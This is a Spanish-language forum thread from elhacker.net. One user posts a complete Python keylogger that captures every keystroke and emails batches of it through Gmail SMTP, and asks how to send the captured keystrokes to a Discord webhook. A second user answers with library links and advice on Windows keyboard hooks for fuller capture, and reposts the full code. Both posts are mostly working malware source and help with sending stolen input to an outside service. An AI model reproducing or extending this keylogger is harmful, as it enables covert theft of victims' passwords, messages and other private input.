Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: S4ur1k en 5 Abril 2020, 03:00 am



Título: Ayuda con Keylogger
Publicado por: S4ur1k en 5 Abril 2020, 03:00 am
Tengo el siguiente Keylogger, es capaz de enviar las pulsaciones a través del protocolo SMTP a una cuenta de GMAIL, en vez de usar dicho protocolo, quiero hacer que las pulsaciones sean enviadas a una Webhook del sitio Discord, usando la librería import discord_webhook.

¿Alguien puede ayudarme?

Código:

Código
  1. import keyboard as key
  2.  
  3. from email.mime.multipart import MIMEMultipart
  4. from email.mime.text import MIMEText
  5. import smtplib
  6.  
  7. import datetime
  8.  
  9. Text = ""
  10.  
  11. while True:
  12.    Recorded = str(key.read_event())
  13.  
  14.    if Recorded.__contains__('up'):
  15.        Recorded = Recorded.replace('KeyboardEvent(', '')
  16.        Recorded = Recorded.replace(' up)', '')
  17.  
  18.        if (len(Recorded)>1):
  19.            Text = Text + " " + Recorded + " "
  20.        else:
  21.            Text = Text + Recorded
  22.  
  23.    if (len(Text)>=100):
  24.        try:
  25.            msg = MIMEMultipart()
  26.  
  27.            password=""
  28.            msg['From']=""
  29.            msg['To']=""
  30.            msg['Subject']="Report "+ str(datetime.datetime.now().date())
  31.  
  32.            msg.attach(MIMEText(Text, 'plain'))
  33.  
  34.            server = smtplib.SMTP('smtp.gmail.com: 587')
  35.            server.starttls()
  36.  
  37.            server.login(msg['From'], password)
  38.  
  39.            server.sendmail(msg['From'], msg['To'], msg.as_string())
  40.  
  41.            server.quit()
  42.  
  43.            Text=""
  44.  
  45.  
  46.        except:
  47.            print("Error")


Mod: Obligatorio el uso de etiquetas GeSHi para codigo.


Título: Re: Ayuda con Keylogger
Publicado por: fary en 5 Abril 2020, 09:09 am
Buenos dias,

Estás usando ¿Python? ( o al menos eso creo :rolleyes:). No sé que funciones de  Windows usa la libreria que usas para detectar teclas, pero en caso de que no use las funciones de hook del sistema puede que se te escapen muchísimas teclas  :xD Capaz le puedes hechar un ojo y ver a que funciones llama.

Por otro lado creo que tienes la documentación necesaria aquí (En caso de que sea Python) referente a Discord_WebHook:

https://pypi.org/project/Discord-Webhooks/

Windows hook: https://docs.microsoft.com/en-us/windows/win32/winmsg/hooks

Espero haberte ayudado en algo.

PD: Por favor utiliza las etiquetas de código para los códigos, los hacen mas leibles, fijate la diferencia.

Código
  1. import keyboard as key
  2.  
  3. from email.mime.multipart import MIMEMultipart
  4. from email.mime.text import MIMEText
  5. import smtplib
  6.  
  7. import datetime
  8.  
  9. Text = ""
  10.  
  11. while True:
  12.    Recorded = str(key.read_event())
  13.  
  14.    if Recorded.__contains__('up'):
  15.        Recorded = Recorded.replace('KeyboardEvent(', '')
  16.        Recorded = Recorded.replace(' up)', '')
  17.  
  18.        if (len(Recorded)>1):
  19.            Text = Text + " " + Recorded + " "
  20.        else:
  21.            Text = Text + Recorded
  22.  
  23.    if (len(Text)>=100):
  24.        try:
  25.            msg = MIMEMultipart()
  26.  
  27.            password=""
  28.            msg['From']=""
  29.            msg['To']=""
  30.            msg['Subject']="Report "+ str(datetime.datetime.now().date())
  31.  
  32.            msg.attach(MIMEText(Text, 'plain'))
  33.  
  34.            server = smtplib.SMTP('smtp.gmail.com: 587')
  35.            server.starttls()
  36.  
  37.            server.login(msg['From'], password)
  38.  
  39.            server.sendmail(msg['From'], msg['To'], msg.as_string())
  40.  
  41.            server.quit()
  42.  
  43.            Text=""
  44.  
  45.  
  46.        except:
  47.            print("Error")